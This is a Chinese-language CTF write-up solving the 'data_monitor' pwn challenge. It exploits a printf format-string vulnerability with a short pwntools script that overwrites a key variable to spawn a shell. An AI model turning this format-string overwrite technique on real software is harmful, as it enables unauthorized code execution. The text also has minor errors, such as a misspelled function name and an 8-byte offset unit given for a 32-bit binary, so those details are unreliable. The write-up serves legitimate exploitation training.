预备知识

本题涉及到的知识点:

  • 格式化字符串漏洞

程序分析

  1. 首先使用checksec命令查看保护情况。

    32位程序,没开任何保护。

    1
    2
    3
    4
    5
    6
    Arch:     i386-32-little
    RELRO: Partial RELRO
    Stack: No canary found
    NX: NX disabled
    PIE: No PIE (0x8048000)
    RWX: Has RWX segments
  2. 运行程序,输入后提示输入错误,并给出key和值。

    data_monitor

  3. 拖入IDA进行分析,发现main函数啥也没有,只有一个locker()函数。

    data_monitor_1

  4. 进入locker函数,发现如果令key == 35795746,就可以执行shell。

    程序首先读入字符串到s,然后执行imagemagic函数。

    data_monitor_2

  1. 跟进imagemagic函数,发现printf存在格式化字符串漏洞。

    data_monitor_3

利用思路

不难想到,可以利用格式化字符串漏洞修改key的值为35795746。

计算格式化字符串偏移量

data_monitor_4

由此可以计算出,格式化字符串距离输入的数据12个自然长度。

注意:此处自然长度是指8个字节。

修改变量的值

fmstr_payload(offset, {key:value})可以自动生成格式化字符串payload。

我们只需要找到变量的地址:0x0804A048

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

context.log_level = 'debug'

io = process('./data_monitor')

address = 0x0804A048

payload = fmtstr_payload(12, {address:35795746})

io.sendline(payload)

io.interactive()